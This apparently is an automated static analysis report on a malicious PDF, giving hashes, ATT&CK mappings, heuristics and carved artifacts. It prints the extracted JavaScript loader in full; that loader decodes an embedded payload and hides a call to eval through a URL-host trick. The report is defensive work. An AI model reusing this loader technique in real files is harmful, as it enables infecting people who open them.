Malicious PDF — malware analysis report

Static analysis result for SHA-256 9b17a958c1983064…

MALICIOUS

PDF

4.5 KB First seen: 2026-05-07
MD5: 2165c364ff07ef731ee2260a5012533d SHA-1: d6967fb9906105a763ee241660dbf0fe98732c66 SHA-256: 9b17a958c1983064d7a1f99924ed2e3bbc9328fa0070041d7c511b9052b657ee
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and an embedded binary file, as indicated by the PDF_JAVASCRIPT, PDF_JS, and PDF_EMBEDDED heuristics. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for downloading and executing the embedded binary file, which serves as the second-stage payload. The specific functionality of the script could not be fully determined due to potential obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 78234 bytes
SHA-256: 7161d0d2baf9ad080aa96884fe98e62287f43d4e818c2547e34c826d99f061f9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
267 of 267 identifiers look randomly generated (e.g. 'R00T4PNfbLhRjECN1R00T4PNfbLhRjECN2R00T4P') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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